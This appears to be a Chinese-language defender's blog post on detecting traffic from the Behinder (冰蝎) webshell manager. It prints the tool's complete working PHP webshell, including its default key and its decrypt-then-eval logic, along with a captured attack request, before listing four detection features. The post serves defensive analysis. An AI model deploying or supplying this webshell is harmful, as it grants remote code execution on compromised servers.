冰蝎 请求特征
冰蝎 介绍
冰蝎是一个大佬写的类似原来菜刀的webshell管理工具,具体实现可以参考rebeyond 在先知的的冰蝎实现文章,包括java、.net、php等
通过文章可以看到,冰蝎的管理端(客户端)与服务端(上传到网站上的部分)是使用AES加密传输的,那从防御方,怎样检测冰蝎的流量呢?
前人研究
冰蝎-特征检测及报文解密
HW防守 | 基于冰蝎的特征检测
主要是基于 前面的交换协商密钥,UA,
下载最新的冰蝎
2022/6/15 冰蝎3.0.11看冰蝎给的一句话木马已经没有了交换密钥功能
如php版本的webshell
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
所以密钥明文交换的特征已经不存在了。
并且输入webshell时,发现可以自定义请求头 ,请求头的特征感觉也没有了
怎样检测最新版 冰蝎 webshell管理工具
特征1:请求数据包都是base64的
POST /phpmyadmin_c0cb0ccc52d79e7f/shell.php HTTP/1.1
Accept: text/html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN
Content-type: application/x-www-form-urlencoded
Referer: http://192.168.177.152:888/y/1uj.php
User-Agent: asdfsd
Cache-Control: no-cache
Pragma: no-cache
Host: 192.168.177.152:888
Content-Length: 88
Cookie: PHPSESSID=ps7a114idq3ib7vdd2s2bl4vbf
Connection: close
3Mn1yNMtoZViV5wotQHPJjPNzBN2eu6UAv0GuyOD9eDAHj3ljo/V0H4mXsLGHknjyepgMrGufmXloWUX/ffdog==
特征2: Referer 随机生成
referer(如果没有配置的话)会随机生成一个不存在的url,直接访问就是404
特征3: URL地址特征
只有一个IP(或者比较少的IP)地址在访问这个URL
特征4: URL地址特征
这个URL地址不会出现在access log的referer中(即这是一个孤立的页面)